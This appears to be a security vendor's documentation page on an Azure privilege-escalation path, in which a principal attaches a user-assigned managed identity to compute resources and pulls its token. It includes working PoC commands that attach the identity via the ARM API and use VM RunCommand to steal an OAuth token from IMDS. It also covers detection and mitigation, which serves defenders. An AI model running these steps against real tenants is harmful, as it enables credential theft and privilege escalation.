> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/azure/az_managed_identity_assignable_by.md). # AZ\_MANAGED\_IDENTITY\_ASSIGNABLE\_BY ## Summary | Property | Value | | ----------------------- | -------------------------------------------------------------------------------------------- | | **Forestall ACL Alias** | `AZ_MANAGED_IDENTITY_ASSIGNABLE_BY` | | **Description** | This UAMI can be attached to a compute resource by this principal for token theft (via IMDS) | | **Source Node** | `AZUserAssignedIdentity` | | **Target Node** | `AZUser` / `AZGroup` / `AZServicePrincipal` | | **Severity** | High | | **Category** | ARM Roles | ## Built-in Roles | Role | GUID | | -------------------------------------------- | -------------------------------------- | | Owner | `8e3af657-a8ff-443c-a75c-2fe8c4bcb635` | | Contributor | `b24988ac-6180-42a0-ab88-20f7382dd24c` | | Managed Identity Contributor | `e40ec5ca-96e0-45a2-b4ff-59039f2c2b59` | | Managed Identity Operator | `f1a07417-d97a-45cb-824c-7a7467783830` | | Azure Red Hat OpenShift Machine API Operator | `0358943c-7e01-48ba-8889-02cc51d78637` | ## Custom Role Actions * `Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action` * `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` Wildcard actions (`*`) at the `Microsoft.ManagedIdentity` scope also grant this primitive. ## Description `AZ_MANAGED_IDENTITY_ASSIGNABLE_BY` represents the ability to **attach a User-Assigned Managed Identity (UAMI) to an Azure compute resource**. Once attached, code running on that resource can request an OAuth token for the UAMI from IMDS (`169.254.169.254`) and inherit all role assignments held by that UAMI. This edge alone is not RCE. The attacker also needs: 1. `write` on a compute/workflow resource that can carry an identity 2. A way to run code on that resource (e.g., RunCommand, Kudu, runbook) Chain with: [AZ\_EXECUTE\_COMMAND](https://docs.forestall.io/fsprotect/edges/azure/az_execute_command), [AZ\_LOGIC\_APP\_CONTRIBUTOR](https://docs.forestall.io/fsprotect/edges/azure/az_logic_app_contributor), [AZ\_AUTOMATION\_CONTRIBUTOR](https://docs.forestall.io/fsprotect/edges/azure/az_automation_contributor), [AZ\_WEBSITE\_CONTRIBUTOR](https://docs.forestall.io/fsprotect/edges/azure/az_website_contributor). ## Exploitation **Prerequisites:** `assign/action` on a UAMI + `write` + execution primitive on a compute resource. ### PoC: Attach UAMI to VM, Steal Token via RunCommand **Step 1 — Attach the UAMI** ```bash TOKEN=$(az account get-access-token --query accessToken -o tsv) curl -X PATCH \ "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Compute/virtualMachines/?api-version=2024-03-01" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "identity": { "type": "UserAssigned", "userAssignedIdentities": { "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} } } }' ``` ![Attach the UAMI to a vm](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-317593ec990733b34a549bf7cbccaf82458fabdd%2Fazure-az_managed_identity_assignable_by-powershell_assign_identity_to_vm.png?alt=media) **Step 2 — Steal the token** Linux VM: ```bash az vm run-command invoke \ --resource-group "" --name "" \ --command-id RunShellScript \ --scripts "curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id='" ``` Windows VM: ```bash az vm run-command invoke \ --resource-group "" --name "" \ --command-id RunPowerShellScript \ --scripts "Invoke-RestMethod -Headers @{Metadata='true'} -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id='" ``` ![Steal the token](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-a579cabbf218e73d0f4b72d19a039ecc730d5df8%2Fazure-az_managed_identity_assignable_by-ps_steal_MI_token.png?alt=media) ### Other Attack Vectors | Vector | Attach | Execute | Reference | | ---------------------- | --------------------------------------------------- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | | New VM | `az vm create --assign-identity` | RunCommand | [Praetorian](https://www.praetorian.com/blog/azure-rbac-privilege-escalations-azure-vm/) | | Logic App | `az logic workflow identity assign --user-assigned` | HTTP action with MSI auth | [HackTricks](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.html) | | Automation Account | REST PATCH identity block | Runbook | [HackTricks](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.html) | | Web App / Function App | `az webapp identity assign --identities` | Kudu / Web SSH | [NetSPI](https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-privilege-escalation-using-managed-identities/) | | ACR Task | `az acr task create --assign-identity` | Task step | [HackTricks](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.html) | | ML Workspace | REST PATCH identity block | Notebook / job | [HackTricks](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.html) | ## Identification ### Azure CLI ```bash az role assignment list --role "Managed Identity Operator" --all -o table az role assignment list --role "Managed Identity Contributor" --all -o table az identity list -o table ``` ### Azure Portal 1. **Managed Identities** → select UAMI → **Access control (IAM)** → **Role assignments** 2. Look for Owner, Contributor, Managed Identity Operator, or Managed Identity Contributor ## Mitigation 1. **Least-privilege on UAMI scope** — Audit principals with assign action on each UAMI 2. **Reduce UAMI blast radius** — Break apart UAMIs with Owner/Contributor into workload-specific UAMIs 3. **Use PIM** — Make Managed Identity Operator eligible (JIT) rather than active 4. **Azure Policy** — Deny `*/assign/action` outside approved scopes ## Detection Alert on: * `assign/action` against a UAMI by an unusual principal * `identity.userAssignedIdentities` changes on compute resources * Managed identity sign-in immediately after a new attachment ## References * [Praetorian — Azure RBAC Privilege Escalations: Azure VM](https://www.praetorian.com/blog/azure-rbac-privilege-escalations-azure-vm/) * [NetSPI — Azure Privilege Escalation Using Managed Identities](https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-privilege-escalation-using-managed-identities/) * [SpecterOps — Managed Identity Attack Paths, Part 2: Logic Apps](https://medium.com/specter-ops-posts/managed-identity-attack-paths-part-2-logic-apps-52b29354fc54) * [Microsoft Learn — Managed Identity Operator](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#managed-identity-operator) * [Microsoft Azure Threat Research Matrix — AZT404](https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/)